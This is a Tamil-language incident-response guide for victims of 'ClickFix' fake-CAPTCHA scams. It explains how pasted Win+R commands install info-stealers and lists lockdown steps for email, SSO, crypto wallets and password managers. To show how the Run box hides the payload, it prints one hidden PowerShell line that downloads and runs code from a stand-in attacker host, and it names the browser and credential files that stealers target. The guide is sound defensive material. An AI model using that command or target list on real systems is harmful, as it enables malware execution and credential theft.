'கிளிக்ஃபிக்ஸ்' போலி CAPTCHA மோசடி: Win+R மற்றும் Ctrl+Vஐ அழுத்துவது ஏன் இன்போ-ஸ்டீலர் மால்வேரை இயக்குகிறது¶

அவசரகால எண்கள் நாடு வாரியாக வேறுபடுகின்றன. இந்தப் பக்கம் அமெரிக்கா மற்றும் கனடாவின் எண்ணான 911ஐப் பயன்படுத்துகிறது. பல நாடுகள் 112, 999 அல்லது வேறு எண்ணைப் பயன்படுத்துகின்றன. உங்கள் நாட்டிற்கான எண்ணைக் கண்டறியவும்.

இணையதளத்தில் "நான் ரோபோ அல்ல" அல்லது "நீங்கள் மனிதர் என்பதைச் சரிபார்க்கவும்" என்ற பொத்தானைக் கிளிக் செய்தால் (அல்லது போலியான Cloudflare Turnstile, Google Meet, Zoom அல்லது உலாவி புதுப்பிப்பு பிழை பாப்அப்பைக் கண்டால்) ** அழுத்தவும்.Windows + R** (அல்லது macOS டெர்மினலைத் திறக்கவும்), ** அழுத்தவும்Ctrl + V** (Cmd + V), மற்றும் ** அழுத்தவும்Enter, ** உங்கள் கணினி ஒரு நேரடி மால்வேர் பேலோடை இயக்கியுள்ளது - பொதுவாக Lumma Stealer, Vidar, StealC, RedLine, அல்லது Atomic macOS Stealer (AMOS) தகவல் திருடுபவர். பூமியில் உள்ள எந்த முறையான CAPTCHA, Cloudflare சோதனை அல்லது வீடியோ கான்பரன்சிங் கருவி, Windows Run உரையாடலைத் திறக்க மனிதனைக் கேட்காது (Win + R), Windows Terminal, Command Prompt, அல்லது macOS Terminal மற்றும் ஒரு கட்டளையை ஒட்டவும். அந்த வலைப்பக்கத்தில் உள்ள போலியான "சரிபார்" தேர்வுப்பெட்டியைக் கிளிக் செய்தபோது, தீங்கிழைக்கும் JavaScript (navigator.clipboard.writeText()) மறைக்கப்பட்ட பவர்ஷெல் அமைதியாக நகலெடுக்கப்பட்டது, mshta.exe, rundll32, அல்லது curl | bash உங்கள் கிளிப்போர்டுக்கு கட்டளையிடவும். 3 முதல் 6 வினாடிகளுக்குள் அழுத்தவும் Enter, அந்த ஸ்கிரிப்ட் ஒரு இன்-மெமரி எக்ஸிகியூடபிள் பதிவிறக்கப்பட்டது, இது சேமிக்கப்பட்ட ஒவ்வொரு கடவுச்சொல்லையும் டிக்ரிப்ட் செய்து வெளியேற்றியது, தானியங்கு நிரப்பு கிரெடிட் கார்டு, கிரிப்டோகரன்சி உலாவி நீட்டிப்பு பெட்டகம் (MetaMask, Phantom, Rabby), டிஸ்கார்ட்/டெலிகிராம் டோக்கன், மற்றும் Chrome, Edge, Brave மற்றும் Firefox இலிருந்து செயலில் உள்ள உள்நுழைந்துள்ள ** அமர்வு குக்கீ** - உங்கள் கடவுச்சொல் அல்லது இரு காரணி அங்கீகாரம் தேவையில்லாமல் உங்கள் Gmail, Microsoft 365, வங்கி மற்றும் கார்ப்பரேட் கணக்குகளை அபகரிக்க தாக்குபவர்களை அனுமதிக்கிறது (2FA) கடத்தப்பட்ட உலாவி அமர்வுகளின் ஆழமான தீர்வுக்கு, மேலும் கலந்தாலோசிக்கவும் அமர்வு குக்கீ கடத்தல், இன்ஃபோஸ்டீலர் மால்வேர் மற்றும் பாஸ்கீ ரத்து; ஒரு சுய-கவனிப்பு பணப்பையிலிருந்து நிதி வெளியேறுவதை நீங்கள் ஏற்கனவே கண்டால், உடனடியாக செல்லவும் cryptocurrency பணப்பை வாய்க்கால் மற்றும் விதை சொற்றொடர் சமரசம்; அல்லது ஒரு மோசடி செய்பவர் உங்களிடம் AnyDesk அல்லது ScreenConnect ஐ நிறுவுமாறு கூறியிருந்தால், பார்க்கவும் தொழில்நுட்ப ஆதரவு பாப்-அப் மோசடி மற்றும் ரிமோட் டெஸ்க்டாப் அகற்றுதல். மருத்துவமனை பணிநிலையம், முனிசிபல் நெட்வொர்க்கில் இந்த தொற்று ஏற்பட்டாலோ அல்லது உடனடி உயிர்-பாதுகாப்பு மிரட்டி பணம் பறிக்கப்பட்டாலோ, உங்கள் உள்ளூர் அவசர எண்ணை அழைக்கவும் (911 அமெரிக்கா மற்றும் கனடாவில், 112 ஐரோப்பிய ஒன்றியம் முழுவதும், 999 யுனைடெட் கிங்டமில்) அல்லது எங்கள் கோப்பகத்தைப் பார்க்கவும் அவசர எண்கள்.

இப்போது இதைச் செய்யுங்கள்¶

உங்கள் ஈத்தர்நெட் கேபிளை துண்டிக்கவும் அல்லது பாதிக்கப்பட்ட கணினியில் வைஃபையை 5 வினாடிகளுக்குள் அணைக்கவும்: தகவல் திருடுபவர்கள் Lumma Stealer உங்கள் உலாவி SQLite தரவுத்தளங்களை தொகுக்கவும் (Login Data, Cookies, Network/Cookies, Web Data) ஒரு .zip காப்பகம் %TEMP% மற்றும் அதை ஒரு கட்டளை மற்றும் கட்டுப்பாட்டுக்கு பதிவேற்றவும் (C2) சர்வர், பின்னர் பெரும்பாலும் இரண்டாம்நிலை தொலைநிலை அணுகல் ட்ரோஜனை (RAT), SOCKS5 குடியிருப்பு ப்ராக்ஸி அல்லது ransomware ஏற்றி. இணைய இணைப்பைத் துண்டிப்பதால், இரண்டாம் நிலை பேலோடுகள் மற்றும் தற்போதைய திரை/கீ ஸ்ட்ரோக் ஸ்ட்ரீமிங் உடனடியாக நிறுத்தப்படும்.
உங்கள் கடவுச்சொற்களை மாற்ற பாதிக்கப்பட்ட கணினியைப் பயன்படுத்த வேண்டாம் - சுத்தமான ஸ்மார்ட்போன் (செல்லுலார் தரவுகளில்) அல்லது பாதிக்கப்படாத கணினியை இப்போதே எடுத்துக் கொள்ளுங்கள்: தொடர்ந்து கீலாக்கர், கிளிப்போர்டு கடத்தல்காரர் அல்லது HVNC (மறைக்கப்பட்ட விர்ச்சுவல் நெட்வொர்க் கம்ப்யூட்டிங்) தொகுதி பாதிக்கப்பட்ட கணினியில் RAM இல் இயங்குகிறது, அதே கணினியில் உங்கள் புதிய கடவுச்சொற்களை தட்டச்சு செய்வதன் மூலம் புதிய நற்சான்றிதழ்களை தாக்குபவர்களுக்கு நேராகக் கொடுக்கிறது.
உங்கள் சுத்தமான மொபைலில் இருந்து, உங்கள் முதன்மை மின்னஞ்சலில் "எல்லா சாதனங்களிலிருந்தும் வெளியேறு / செயலில் உள்ள அனைத்து அமர்வுகளையும் திரும்பப் பெறு" என்பதைக் கிளிக் செய்யவும் (Gmail / Microsoft 365 / Yahoo), கடவுச்சொல் மேலாளர் மற்றும் பணி SSO (Okta / Entra ID) முதலில்:
உங்கள் கடவுச்சொல்லை மாற்றுவது ஏன் போதாது: தகவல் திருடுபவர்கள் உங்கள் செயலில் உள்ள அங்கீகார அமர்வு குக்கீகளை திருடுகிறார்கள் (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at) பல இயங்குதளங்களில், எல்லா அமர்வுகளிலிருந்தும் வெளியேறு / டோக்கன்களைத் திரும்பப் பெறு மற்றும் உங்கள் கடவுச்சொல்லைச் சுழற்றும் வரை, ஏற்றுமதி செய்யப்பட்ட அமர்வு குக்கீ நாட்கள் அல்லது வாரங்களுக்கு செல்லுபடியாகும்.
Google / Gmail: பார்வையிடவும் myaccount.google.com/device-activity -> ஒவ்வொரு டெஸ்க்டாப் அமர்வையும் தேர்ந்தெடுக்கவும் -> வெளியேறு என்பதைக் கிளிக் செய்து, உங்கள் Google கடவுச்சொல்லை மாற்றி ஆய்வு செய்யவும் Settings -> Forwarding and POP/IMAP அமைதியான பகிர்தல் விதிகளுக்கு.
Microsoft / Outlook / Entra ID: வருகை mysignins.microsoft.com/security-info -> எல்லா இடங்களிலும் வெளியேறு என்பதைக் கிளிக் செய்து, உங்கள் கடவுச்சொல்லை மீட்டமைக்கவும்.
** உங்களிடம் ஏதேனும் கிரிப்டோகரன்சி வாலட் நீட்டிப்பு இருந்தால் (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) அந்த கணினியில், ஒரு சுத்தமான சாதனத்தில் ஒரு புத்தம் புதிய விதை சொற்றொடருக்கு அனைத்து நிதிகளையும் உடனடியாக வெளியேற்றவும்**:
Lumma Stealer மற்றும் AMOS மறைகுறியாக்கப்பட்டதை நகலெடுக்கவும் Local Extension Settings IndexedDB/LevelDB வால்ட் கோப்புகள் Chrome/Brave/Edge இலிருந்து நேரடியாக தாக்குபவரின் சேவையகத்திற்குச் செல்கின்றன, அங்கு GPU கிளஸ்டர்கள் உங்கள் உள்ளூர் நீட்டிப்பு கடவுச்சொல்லை ஆஃப்லைனில் ப்ரூட்-ஃபோர்ஸ் செய்யும் (அல்லது திறக்கப்பட்டால், RAM இலிருந்து நேரடியாக விதை சொற்றொடரைப் படிக்கவும்). அந்த கணினியில் இதுவரை சேமிக்கப்பட்ட ஒவ்வொரு விதை சொற்றொடர் மற்றும் தனிப்பட்ட விசை 100 சதவீதம் சமரசம் செய்யப்பட்டுள்ளது என்று வைத்துக்கொள்வோம்.
பிசியைத் துடைப்பதற்கு முன், நீங்கள் ஒட்டியுள்ள சரியான கட்டளையைப் பாதுகாக்கவும், இதனால் என்ன செயல்படுத்தப்பட்டது என்பது உங்களுக்குத் தெரியும்:
விண்டோஸில், நோட்பேடைத் திறந்து (ஆஃப்லைனில் இருக்கும்போது) அழுத்தவும் Ctrl + V உங்கள் கிளிப்போர்டில் இன்னும் இருப்பதை ஒட்டவும் அல்லது அழுத்தவும் Windows + R மற்றும் மிக சமீபத்தில் பயன்படுத்திய (MRU) சேமிக்கப்பட்ட வரலாற்றை இயக்கவும் HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. சம்பவ பதிலுக்காக அந்த கட்டளையின் புகைப்படத்தை உங்கள் தொலைபேசியில் எடுக்கவும்.
விரைவான ஆண்டிவைரஸ் ஸ்கேனை நம்புவதை விட சுத்தமான USB ஆப்பரேட்டிங் சிஸ்டத்தை மீண்டும் நிறுவவும் (அல்லது முழு ஆஃப்லைன் தடயவியல் துடைப்பு) செய்யவும்: நவீன ClickFix பேலோடுகள் முறையான கையொப்பமிடப்பட்ட விண்டோஸ் பைனரிகளைப் பயன்படுத்துகின்றன (Living-off-the-Land Binaries அல்லது LOLBins போன்ற mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, மற்றும் AutoIt3.exe) முறையான அமைப்பு செயல்முறைகளில் உட்செலுத்தப்படும் (explorer.exe, svchost.exe) மற்றும் அடிக்கடி விண்டோஸ் டிஃபென்டரில் விலக்குகளைச் சேர்க்கவும் (Add-MpPreference -ExclusionPath)

Danger

** அனைத்து உலாவி சாளரங்களையும் மூடுகிறது (Alt+F4) உங்கள் கணினியில் மால்வேர் திருடிய அமர்வு குக்கீகளை செல்லாததாக்கவில்லை**: எப்போது Lumma Stealer அல்லது StealC இயங்குகிறது, இது Chrome இன் உள் ஆப்-பவுண்ட் என்க்ரிப்ஷனைப் பயன்படுத்துகிறது (IElevator COM இடைமுகம்) அல்லது முடிவடைகிறது chrome.exe சுருக்கமாக உங்கள் பச்சை நகலெடுக்க Cookies SQLite தரவுத்தளத்தை மற்றும் DPAPI முதன்மை விசையை மறைகுறியாக்கவும் (Local State) தாக்குபவர் அந்த குக்கீகளை கண்டறிதல் எதிர்ப்பு உலாவியில் இறக்குமதி செய்தவுடன் (Multilogin, Dolphin{anty}, Gologin) அவர்களின் சொந்த சர்வரில், அவர்களின் உலாவி உங்கள் உள்நுழைந்த உலாவியாக மாறும். திருடப்பட்ட குக்கீயைக் கொல்ல ஒரே வழி, கணக்கு வழங்குநரின் பாதுகாப்பு அமைப்புகளில் இருந்து சர்வர் பக்க அமர்வு திரும்பப்பெறுதலை ("எல்லா சாதனங்களிலிருந்தும் வெளியேறு" + கடவுச்சொல் மீட்டமைவு) தூண்டுவதாகும்.

முடிவெடுக்கும் மரம்: கிளிக்ஃபிக்ஸுக்குப் பிறகு உடனடி கட்டுப்பாடு மற்றும் மீட்பு `Win+R` அல்லது டெர்மினல் பேஸ்ட்¶

நீங்கள் ஒரு கட்டளையை ஒட்டியுள்ளீர்கள் என்பதை உணர்ந்த தருணத்தில் இந்த முடிவு மரத்தைப் பின்பற்றவும் Win + R, விண்டோஸ் டெர்மினல் அல்லது மேகோஸ் டெர்மினல்:

flowchart TD
    Start["வின்+ஆர், பவர்ஷெல் அல்லது மேகோஸ் டெர்மினலில் போலி கேப்ட்சா / பிழை சரிசெய்தல் கட்டளை ஒட்டப்பட்டது"] --> Disconnect["படி 1 (0 முதல் 10 வினாடிகள்): ஈதர்நெட்டைத் துண்டித்து, பாதிக்கப்பட்ட கணினியில் வைஃபையை உடனடியாக முடக்கவும்"]

    Disconnect --> CryptoCheck{"இந்த கணினியில் ஏதேனும் கிரிப்டோ பணப்பைகள் (மெட்டா மாஸ்க், பாண்டம், எக்ஸோடஸ், லெட்ஜர் லைவ், சேமித்த விசைகள்) உள்ளதா?"}

    CryptoCheck -->|"ஆம்"| EvacCrypto["படி 2 (அவசரம்): சுத்தமான ஃபோன்/ஹார்டுவேர் வாலட்டில், புத்தம் புதிய விதை சொற்றொடரை உருவாக்கி, அனைத்து சொத்துகளையும் உடனடியாக மாற்றவும்"]
    CryptoCheck -->|"இல்லை"| CleanDevice["படி 2: சுத்தமான ஸ்மார்ட்போன் (செல்லுலார் டேட்டா) அல்லது பாதிக்கப்படாத சாதனத்திற்கு மாறவும்"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["படி 3: சர்வர் பக்க அமர்வுகளைத் திரும்பப் பெறுதல் & கடவுச்சொற்களை கடுமையான முன்னுரிமை வரிசையில் சுழற்று"]

    RevokeSessions --> P1["1. முதன்மை மின்னஞ்சல் (Gmail / M365 / Proton): அனைத்து செயலில் உள்ள சாதன அமர்வுகளையும் அழிக்கவும், கடவுச்சொல்லை மீட்டமைக்கவும், பகிர்தல் விதிகளைச் சரிபார்க்கவும்"]
    P1 --> P2["2. பணி / கார்ப்பரேட் SSO (Okta / Entra ID / VPN / AWS / GitHub / SSH விசைகள்): பணி கணக்குகள் உள்நுழைந்திருந்தால் உடனடியாக கார்ப்பரேட் SOC க்கு தெரிவிக்கவும்"]
    P2 --> P3["3. நிதி, வங்கி, பேபால், ஸ்ட்ரைப், அமேசான், ஸ்டீம், டிஸ்கார்ட் மற்றும் சமூக ஊடக கணக்குகள்"]

    P3 --> InspectPayload["படி 4 (பாதிக்கப்பட்ட கணினியில் ஆஃப்லைன்): பேலோடைக் கண்டறிய RunMRU ரெஜிஸ்ட்ரி & பவர்ஷெல் செயல்பாட்டு நிகழ்வு ஐடி 4104 ஐச் சரிபார்க்கவும்"]

    InspectPayload --> WipeChoice{"இது கார்ப்பரேட் எண்ட்பாயிண்ட் அல்லது பெர்சனல் கம்ப்யூட்டரா?"}
    WipeChoice -->|"வேலை அணுகலுடன் கார்ப்பரேட் / BYOD"| CorpIR["EDR தடயவியல் சோதனை மற்றும் பிட்லாக்கர் மறுபடத்திற்கான IT பாதுகாப்பு / SOC க்கு கை இயந்திரம் ஆஃப்லைன்"]
    WipeChoice -->|"தனிப்பட்ட விண்டோஸ் / மேக்"| CleanInstall["எளிய ஆவணங்களை மட்டும் காப்புப் பிரதி எடுக்கவும் (இல்லை .exe/.bat/.dmg) -> USB ஐ சுத்தம் செய்யவும் -> பகிர்வுகளை துடைத்து OS ஐ மீண்டும் நிறுவவும்"]

கட்டம் 1: "கிளிக்ஃபிக்ஸ்" தாக்குதலின் உடற்கூறியல் - ஒரு வலைப்பக்கம் எவ்வாறு கடத்தப்படுகிறது `Win + R`¶

அந்த 5 வினாடிகளில் உங்கள் ஆப்பரேட்டிங் சிஸ்டத்தில் என்ன நடந்தது என்பதைப் புரிந்துகொள்வது, சில கோப்புகள் மற்றும் கணக்குகள் உடனடி ஆபத்தில் இருக்கும் போது மற்றவை இல்லாத காரணத்தை விளக்குகிறது.

1. கிளிக்ஃபிக்ஸ் பிரச்சாரங்களில் பயன்படுத்தப்படும் 3 சமூக பொறியியல் கவர்ச்சிகள்¶

தாக்குபவர்கள் கிளிக்ஃபிக்ஸ் மேலடுக்குகளை தவறான விளம்பரம் (ஸ்பான்சர் செய்யப்பட்ட தேடல் முடிவுகள்), சமரசம் செய்யப்பட்ட வேர்ட்பிரஸ் தளங்கள், திருட்டு மென்பொருள்/ஸ்ட்ரீமிங் போர்டல்கள், போலியான கிட்ஹப் களஞ்சியங்கள் மற்றும் ஃபிஷிங் மின்னஞ்சல்கள் முழுவதும் விநியோகிக்கின்றனர்: 1. Fake Cloudflare / Google reCAPTCHA Box ("நீங்கள் மனிதர் என்பதைச் சரிபார்க்கவும்"): நீங்கள் "நான் ரோபோ அல்ல" தேர்வுப்பெட்டியைக் கிளிக் செய்க. பச்சை நிறச் சரிபார்ப்புக் குறிக்குப் பதிலாக, ஒரு பாப்அப் இவ்வாறு தோன்றும்: "வழக்கத்திற்கு மாறான ட்ராஃபிக் கண்டறியப்பட்டது. நீங்கள் மனிதர் என்பதைச் சரிபார்க்க, இந்த 3 படிகளை முடிக்கவும்: 1. அழுத்தவும் Windows + R உங்கள் விசைப்பலகையில். 2. அழுத்தவும் Ctrl + V. 3. அழுத்தவும் Enter." 2. போலி குரோம் / எட்ஜ் எழுத்துரு அல்லது புதுப்பிப்பு பிழை ("இந்த வலைப்பக்கத்தைக் காண்பிப்பதில் ஏதோ தவறு ஏற்பட்டது"): மங்கலான பின்னணியானது, அதிகாரப்பூர்வமாகத் தோற்றமளிக்கும் Chrome உரையாடலுடன் வலைத்தளத்தை உள்ளடக்கியது, இது விடுபட்ட ரூட் சான்றிதழ் அல்லது எழுத்துரு புதுப்பிப்புக்கு நீங்கள் Windows PowerShell / Terminalஐத் திறந்து "அதிகாரப்பூர்வ பிழைத்திருத்த ஸ்கிரிப்டை" ஒட்ட வேண்டும். 3. போலி ஜூம் / கூகுள் மீட் / மைக்ரோசாப்ட் டீம்ஸ் மைக்ரோஃபோன் அல்லது கேமரா பிழை: போலியான வேலை நேர்காணல் அழைப்பிதழ்கள் அல்லது கிளையன்ட் சந்திப்பு இணைப்புகள் மூலம் அனுப்பப்படும், பக்கம் ஒரு சுழலும் வீடியோ திரையைக் காட்டுகிறது மற்றும் டெர்மினல் ஐத் திறந்து "டிரைவர் ரீசெட்" கட்டளையை ஒட்டுமாறு MacOS மற்றும் Windows பயனர்களைத் தூண்டுகிறது.

2. கட்டளை ஏன் தீங்கற்றதாகத் தோன்றியது `Win + R` பெட்டி¶

தி Windows + R (Run) உரையாடல் உரை பெட்டி பார்வைக்கு 259 எழுத்துகள் மட்டுமே (MAX_PATH UI உள்ளீட்டு புலம்), மற்றும் உங்கள் கர்சர் வலதுபுறமாகத் தாவியதும் ஒட்டப்பட்ட சரத்தின் முடிவு மட்டுமே காண்பிக்கப்படும். தீங்கிழைக்கும் கட்டளையை இடைவெளிகளுடன் திணிப்பதன் மூலமோ அல்லது போலியான கருத்துடன் முடிப்பதன் மூலமோ தாக்குதல் நடத்துபவர்கள் இந்தக் காட்சித் துண்டிப்பைப் பயன்படுத்திக் கொள்கிறார்கள்:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

நீங்கள் அழுத்தும் போது Ctrl + V, தீங்கிழைக்கும் powershell.exe -w hidden அல்லது mshta.exe https://... பார்வைக்கு வெளியே இடதுபுறமாக உருட்டப்பட்டது, மட்டும் விட்டு # Cloudflare Human Verification ID: 849201 சிறிய அளவில் தெரியும் Run உரை பெட்டி.

3. சரியாக என்ன `Lumma Stealer`, `StealC`, மற்றும் `AMOS` 4 வினாடிகளில் திருடலாம்¶

இலக்கு வகை	உங்கள் கணினியிலிருந்து துல்லியமான கோப்புகள் & விசைகள் வெளியேற்றப்பட்டன	2FA ஏன் தாக்குபவர்களை நிறுத்தவில்லை
Chromium உலாவிகள் (`Chrome`, `Edge`, `Brave`, `Opera`, `Vivaldi`) & `Firefox`	1. `Network\Cookies` (ஒவ்வொரு உள்நுழைந்த அமர்வு டோக்கன்). 2. `Login Data` (உலாவி கடவுச்சொல் நிர்வாகியில் சேமிக்கப்பட்ட ஒவ்வொரு பயனர்பெயர் & கடவுச்சொல்). 3. `Web Data` (சேமிக்கப்பட்ட கிரெடிட் கார்டுகள், ஐபிஏஎன்கள் மற்றும் தானாக நிரப்பும் முகவரிகள்). 4. `Local State` (விண்டோஸ் வழியாக மறைகுறியாக்கப்பட்டது `DPAPI` / குரோம் `IElevator` அனைத்து மறைகுறியாக்கப்பட்ட குக்கீகளையும் கடவுச்சொற்களையும் திறக்க COM பைபாஸ்).	தாக்குபவர் உங்கள் மறைகுறியாக்கப்பட்டதை இறக்குமதி செய்கிறார் `Cookies` கண்டறிதல் எதிர்ப்பு உலாவியில் தரவுத்தளம். நீங்கள் 2FA நாட்களுக்கு முன்* குக்கீ வழங்கப்பட்டதால், Gmail, Microsoft, Amazon, GitHub மற்றும் Discord ஆகியவை தாக்குபவரை நீங்கள் ஏற்கனவே அங்கீகரிக்கப்பட்ட அமர்வாகக் கருதுகின்றன.
உலாவி நீட்டிப்புகள் (கிரிப்டோ வாலட்கள் & 2FA/கடவுச்சொல் நிர்வாகிகள்)	முழுதும் `%LocalAppData%\Google\Chrome\User Data\Default\Local Extension Settings\` 80 க்கும் மேற்பட்ட இலக்கு நீட்டிப்பு ஐடிகளுக்கான கோப்புறைகள்: `MetaMask`, `Phantom`, `Rabby`, `Coinbase Wallet`, `Keplr`, `TronLink`, `Ronin`, `Binance Wallet`, மற்றும் `Authenticator` (`bhghoamapcdpbohphigoooaddinpkbai`).	நீங்கள் உலாவி அடிப்படையிலான 2FA அங்கீகரிப்பு நீட்டிப்பைப் பயன்படுத்தினால், தாக்குபவர் இப்போது உங்கள் நேரடி 6 இலக்க TOTP குறியீடுகளை உருவாக்குகிறார். கிரிப்டோ வாலெட்டுகளுக்கு, தாக்குபவர் உங்கள் உள்ளூர் கடவுச்சொல்லை ஆஃப்லைனில் சிதைப்பார் அல்லது நினைவகத்திலிருந்து திறக்கப்பட்ட விசைகளைத் திருடுகிறார்.
டெஸ்க்டாப் ஆப்ஸ் & கேமிங் / அரட்டை கிளையண்ட்கள்	`Discord` (`leveldb` டோக்கன்கள் `%AppData%\discord\Local Storage\leveldb`, பைபாஸ் 2FA), `Telegram Desktop` (`tdata/` முழு கணக்கு குளோனிங்கை அனுமதிக்கும் கோப்புறை), `Steam` (`ssfn` / கட்டமைப்பு டோக்கன்கள்), `FileZilla` (`sitemanager.xml` எளிய உரை FTP/SFTP கடவுச்சொற்கள்), `WinSCP`, மற்றும் `OpenVPN` / `WireGuard` சுயவிவரங்கள்.	டெலிகிராம்களை நகலெடுக்கிறது `tdata` கோப்புறை அல்லது டிஸ்கார்ட் `leveldb` டோக்கன் ஒரு எஸ்எம்எஸ் அல்லது மின்னஞ்சல் உள்நுழைவுக் குறியீட்டைத் தூண்டாமல் மற்றொரு கணினியில் உடனடி கையகப்படுத்த அனுமதிக்கிறது.
டெவலப்பர் & கிளவுட் நற்சான்றிதழ்கள் (குறிப்பாக macOS இல் `AMOS` & டெவலப்பர் பிசிக்கள்)	`-/.ssh/id_rsa`, `-/.ssh/id_ed25519`, `-/.aws/credentials`, `-/.kube/config`, `-/.npmrc`, `-/.pypirc`, `.env` டெஸ்க்டாப்/ஆவணங்கள் மற்றும் ஆப்பிள் கீசெயின் (`login.keychain-db`) (போலி macOS டெர்மினல் கடவுச்சொல் மூலம் திருடப்பட்டது).	கடவுச்சொற்கள் இல்லாத SSH விசைகள் மற்றும் AWS IAM அணுகல் விசைகள் (`AKIA...`) கிளவுட் சர்வர்கள் மற்றும் Git களஞ்சியங்களுக்கு நேரடி API அணுகலை வழங்கவும்.

கட்டம் 2: கணக்குப் பூட்டுதல் & அமர்வு திரும்பப் பெறுதல் (நிமிடங்கள் 1 முதல் 30 வரை - சுத்தமான சாதனத்தில்)¶

பாதிக்கப்பட்ட பிசி இணையத்தில் இருந்து முற்றிலும் துண்டிக்கப்பட்ட நிலையில், இந்த துல்லியமான கட்டுப்பாட்டு வரிசையை செயல்படுத்த ** சுத்தமான ஸ்மார்ட்போன் அல்லது இரண்டாவது கணினி** ஐப் பயன்படுத்தவும்.

Warning

** கடவுச்சொற்களை மாற்றுவதற்கு முன் அல்லது அதே நேரத்தில் எப்போதும் அமர்வுகளைத் திரும்பப் பெறவும், உங்கள் முதன்மை மின்னஞ்சல் கணக்கை எப்போதும் பாதுகாக்கவும்**: தாக்குபவர் உங்கள் Gmail அல்லது Outlook இன்பாக்ஸில் செயலில் அமர்வை வைத்திருக்கும் போது, உங்கள் வங்கி, டிஸ்கார்ட் அல்லது ஸ்டீம் கடவுச்சொல்லை மீட்டமைத்தால், தாக்குபவர் "உங்கள் கடவுச்சொல்லை மீண்டும் அமைக்கவும், இப்போதுதான் மாற்றப்பட்டது" என்ற குறியீட்டை மீட்டெடுப்பார். நீங்கள் எப்போதாவது கவனிக்கும் முன் குப்பை.

படி 1: உங்கள் மின்னஞ்சல் கணக்குகளைப் பூட்டவும் (`Gmail`, `Microsoft 365 / Outlook`, `Yahoo`, `Apple iCloud`)¶

எந்த உலாவி சுயவிவரத்திலும் உள்நுழைந்துள்ள ஒவ்வொரு மின்னஞ்சல் கணக்கிற்கும் (Default, Profile 1, Work) அந்த கணினியில்: 1. ** செயலில் உள்ள அனைத்து சாதன அமர்வுகளையும் நிறுத்து**: - Google / Gmail: செல்க myaccount.google.com/device-activity -> பாதிக்கப்பட்ட Windows/Mac சாதனத்தைத் தேர்ந்தெடுக்கவும் (மற்றும் ஏதேனும் அறிமுகமில்லாத அமர்வுகள்) -> வெளியேறு என்பதைக் கிளிக் செய்யவும். மேலும் பார்வையிடவும் myaccount.google.com/connections சந்தேகத்திற்கிடமான மூன்றாம் தரப்பு OAuth பயன்பாடுகளைத் திரும்பப் பெறவும். - மைக்ரோசாப்ட் (தனிப்பட்ட மற்றும் பணி M365): செல்க account.live.com/proofs/Manage (தனிப்பட்ட) அல்லது mysignins.microsoft.com/security-info (வேலை) -> எல்லா இடங்களிலும் வெளியேறு என்பதைக் கிளிக் செய்யவும். 2. மின்னஞ்சல் கடவுச்சொல்லை உங்கள் சுத்தமான சாதனத்தில் மட்டுமே சேமிக்கப்பட்ட புத்தம் புதிய, தனித்துவமான கடவுச்சொல்லாக மாற்றவும். 3. ** இன்பாக்ஸ் விதிகள், வடிப்பான்கள் மற்றும் தானாக அனுப்புதல் ஆகியவற்றை உடனடியாக தணிக்கை செய்யுங்கள்**: Info-stealer ஆபரேட்டர்கள், திருடப்பட்ட Gmail/Outlook குக்கீகளில், தொற்று ஏற்பட்ட சில நிமிடங்களில் உள்நுழைந்து, மறைக்கப்பட்ட வடிப்பானை உருவாக்கும் தானியங்கு ஸ்கிரிப்ட்களை இயக்குகிறார்கள்: செய்தியில் "பாதுகாப்பு", "குறியீடு", "Coinbase", "Binance", "Bank" அல்லது "Steam" -> படித்ததாகக் குறி, ட்ராக் செய்பவருக்கு முன்னோக்கி நகர்த்தவும். - ஜிமெயிலில்: டெஸ்க்டாப் காட்சியைத் திறக்கவும் -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses மற்றும் Forwarding and POP/IMAP. தெரியாத வடிகட்டி அல்லது அனுப்பும் முகவரியை உடனடியாக நீக்கவும். - ** Outlook இல் / M365**: திற Settings -> Mail -> Rules மற்றும் Mail -> Forwarding மற்றும் Mail -> Junk email (தாக்குபவர் தடுக்கவில்லை என்பதை உறுதிப்படுத்த, தடுக்கப்பட்ட அனுப்புநர்களைச் சரிபார்க்கவும் no-reply@accounts.google.com அல்லது உங்கள் வங்கி).

படி 2: கடவுச்சொல் நிர்வாகிகளைப் பூட்டவும் (`Bitwarden`, `1Password`, `Dashlane`, `KeePass`, `iCloud Keychain`)¶

உங்கள் கடவுச்சொற்களை Chrome / Edge / Brave இன் உள்ளமைக்கப்பட்ட கடவுச்சொல் நிர்வாகியில் சேமித்தீர்களா? Chrome, Edge, Brave, Opera அல்லது Firefox இல் சேமிக்கப்பட்ட ஒவ்வொரு கடவுச்சொல்லும் (Firefox க்கு தனிப்பயன் முதன்மை கடவுச்சொல் செட் இல்லையென்றால்) எளிய உரையில் தகவல் திருடரால் ஏற்றுமதி செய்யப்பட்டது. உலாவியின் உள்ளமைந்த கடவுச்சொல் நிர்வாகியில் சேமிக்கப்பட்டுள்ள 100 சதவீத கடவுச்சொற்களை நீங்கள் சமரசம் செய்து, நிதி கணக்கு மற்றும் மின்னஞ்சலை மாற்றவும்.
** நீங்கள் பிரத்யேக கடவுச்சொல் நிர்வாகியைப் பயன்படுத்தியுள்ளீர்களா (1Password, Bitwarden, Proton Pass, Keeper)?**
நீங்கள் கட்டளையை இயக்கும் நேரத்தில் பெட்டகம் ** பூட்டப்பட்டிருந்தால்**, உங்கள் என்க்ரிப்ட் செய்யப்பட்ட பெட்டகம் உங்கள் முதன்மை கடவுச்சொல் / ரகசிய விசையால் பாதுகாக்கப்படும்.
பெட்டக நீட்டிப்பு ** நினைவகத்தில் திறக்கப்பட்டிருந்தால்** (அல்லது கட்டளையை இயக்கிய பின் உங்கள் முதன்மை கடவுச்சொல்லை தட்டச்சு செய்திருந்தால்), உங்கள் சுத்தமான தொலைபேசியிலிருந்து கடவுச்சொல் மேலாளர் வலை பெட்டகத்தில் உள்நுழைந்து, அனைத்து அமர்வுகளையும் நீக்கவும் என்பதைக் கிளிக் செய்யவும் (Bitwarden: Settings -> My Account -> Deauthorize Sessions), உங்கள் முதன்மை கடவுச்சொல்லை சுழற்றவும் மற்றும் பெட்டகத்திற்குள் அதிக மதிப்புள்ள சான்றுகளை சுழற்றுவதற்கு முன்னுரிமை கொடுங்கள்.

